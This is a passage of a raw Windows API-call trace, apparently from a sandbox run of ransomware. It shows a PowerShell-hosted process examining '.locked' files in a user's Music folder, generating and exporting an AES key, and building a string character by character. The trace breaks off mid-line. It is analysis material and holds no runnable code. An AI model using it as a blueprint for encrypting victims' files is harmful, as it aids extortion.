[6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.652] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.652] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.653] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav.locked")) returned 0x20 [0134.653] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav.locked")) returned 0x20 [0134.653] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked", lpFilePart=0x0) returned 0x2f [0134.654] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.654] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.654] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.654] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.654] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.655] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.655] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.655] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.655] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.655] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.656] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.656] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.657] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.657] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.658] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.658] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.658] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.659] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.659] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.659] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.661] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav.locked"), fInfoLevelId=0x0, lpFileInformation=0x6af3650 | out: lpFileInformation=0x6af3650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x137a71cf, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x137a71cf, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x137a71cf, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x2874)) returned 1 [0134.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.661] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.661] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.661] CloseHandle (hObject=0x858) returned 1 [0134.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.663] GetConsoleOutputCP () returned 0x1b5 [0134.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.663] GetConsoleOutputCP () returned 0x1b5 [0134.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.664] GetConsoleOutputCP () returned 0x1b5 [0134.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.664] GetConsoleOutputCP () returned 0x1b5 [0134.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.664] GetConsoleOutputCP () returned 0x1b5 [0134.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.665] GetConsoleOutputCP () returned 0x1b5 [0134.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.665] GetConsoleOutputCP () returned 0x1b5 [0134.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.666] GetConsoleOutputCP () returned 0x1b5 [0134.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.666] GetConsoleOutputCP () returned 0x1b5 [0134.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.666] GetConsoleOutputCP () returned 0x1b5 [0134.667] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.667] GetConsoleOutputCP () returned 0x1b5 [0134.667] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.667] GetConsoleOutputCP () returned 0x1b5 [0134.667] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.668] GetConsoleOutputCP () returned 0x1b5 [0134.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.668] GetConsoleOutputCP () returned 0x1b5 [0134.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.668] GetConsoleOutputCP () returned 0x1b5 [0134.668] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.668] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.669] GetConsoleOutputCP () returned 0x1b5 [0134.669] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.669] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.669] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6b1a138*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6b1a138*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.670] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.670] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.674] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.674] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.675] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.676] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e028b0) returned 1 [0134.676] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84df8) returned 1 [0134.676] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.677] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.677] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x691fce4, pdwDataLen=0x99ae894 | out: pbData=0x691fce4*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.677] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.677] SysStringLen (param_1="") returned 0x8 [0134.677] SysStringLen (param_1="i") returned 0x8 [0134.677] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.677] SysStringLen (param_1="Ȝ軅댪䉕ꤟᥖ靤") returned 0x8 [0134.677] SysStringLen (param_1="Ȝ軅댪䉕ꤟᥖ靤") returned 0x8 [0134.677] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.677] SysStringLen (param_1="i+") returned 0x8 [0134.677] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.677] SysStringLen (param_1="\x947a\xec1\x356d\xd248\x3ea2\x3a3a\xe99e\xb9ad") returned 0x8 [0134.677] SysStringLen (param_1="\x947a\xec1\x356d\xd248\x3ea2\x3a3a\xe99e\xb9ad") returned 0x8 [0134.677] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.677] SysStringLen (param_1="i+s") returned 0x8 [0134.677] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.677] SysStringLen (param_1="吞乺쇬⢑眚") returned 0x8 [0134.677] SysStringLen (param_1="吞乺쇬⢑眚") returned 0x8 [0134.677] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="i+sY") returned 0x8 [0134.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="\xebbf\xb01f\xbaab\xde39\x7abd\xc5ad\xb725\x3581") returned 0x8 [0134.678] SysStringLen (param_1="\xebbf\xb01f\xbaab\xde39\x7abd\xc5ad\xb725\x3581") returned 0x8 [0134.678] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="i+sYS") returned 0x8 [0134.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="\xeb50\x7720\xccab\x5b5e\x946d\xe669\x7b48\x2fbc") returned 0x8 [0134.678] SysStringLen (param_1="\xeb50\x7720\xccab\x5b5e\x946d\xe669\x7b48\x2fbc") returned 0x8 [0134.678] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="i+sYS3") returned 0x8 [0134.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="\xf56\xb085\xed63\xceb9\x9cfb\x9533\xa89\xc218") returned 0x8 [0134.678] SysStringLen (param_1="\xf56\xb085\xed63\xceb9\x9cfb\x9533\xa89\xc218") returned 0x8 [0134.678] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="i+sYS3s") returned 0x8 [0134.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="\xc635\xe800\x95b7\x4011\x573f\x5d53\x4fb9\x8abd") returned 0x8 [0134.678] SysStringLen (param_1="\xc635\xe800\x95b7\x4011\x573f\x5d53\x4fb9\x8abd") returned 0x8 [0134.678] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="i+sYS3sT") returned 0x8 [0134.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.678] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93") returned 0x8 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93") returned 0x8 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93") returned 0x8 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93") returned 0x10 [0134.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="i+sYS3sTc샳팀疁璓鼚浐") returned 0x10 [0134.679] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x189a\x2f41\xbe60\xf37b\xa25d\xe4f0\x9f00\x7ef") returned 0x10 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x189a\x2f41\xbe60\xf37b\xa25d\xe4f0\x9f00\x7ef") returned 0x10 [0134.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="i+sYS3sTcU팀疁璓鼚浐") returned 0x10 [0134.679] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x411\xef50\x6cd3\x6e4d\x639\x2edc\x32e0\xbe7f") returned 0x10 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x411\xef50\x6cd3\x6e4d\x639\x2edc\x32e0\xbe7f") returned 0x10 [0134.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="i+sYS3sTcU7疁璓鼚浐") returned 0x10 [0134.679] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\xddf3\xafe9\x7355\xa720\x89d1\xe5a4\x8644\xf135") returned 0x10 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\xddf3\xafe9\x7355\xa720\x89d1\xe5a4\x8644\xf135") returned 0x10 [0134.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="i+sYS3sTcU7z璓鼚浐") returned 0x10 [0134.679] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x7ade\xd609\x46ef\xf683\x68bf\x5a9e\x9838\xb9f2") returned 0x10 [0134.679] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x7ade\xd609\x46ef\xf683\x68bf\x5a9e\x9838\xb9f2") returned 0x10 [0134.679] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="i+sYS3sTcU7z7鼚浐") returned 0x10 [0134.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x4cbd\x57f3\x919f\xa139\xef14\xe5c4\x7971\xfde7") returned 0x10 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x4cbd\x57f3\x919f\xa139\xef14\xe5c4\x7971\xfde7") returned 0x10 [0134.680] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="i+sYS3sTcU7z7J浐") returned 0x10 [0134.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x61ed\xc9bb\xdb5e\x1f3f\x13d1\x90eb\x7974\xc6d2") returned 0x10 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\x61ed\xc9bb\xdb5e\x1f3f\x13d1\x90eb\x7974\xc6d2") returned 0x10 [0134.680] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="i+sYS3sTcU7z7JJ") returned 0x10 [0134.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\xbd4c\xbd86\x51bc\x254b\x9a50\xe47e\xfa5a\x83d2") returned 0x10 [0134.680] SysStringLen (param_1="\x11bf\xc0d9\xa048\x7487\xb053\x8b8f\x28ab\xee93\xbd4c\xbd86\x51bc\x254b\x9a50\xe47e\xfa5a\x83d2") returned 0x10 [0134.680] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.680] SysStringLen (param_1="i+sYS3sTcU7z7JJl") returned 0x10 [0134.680] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: 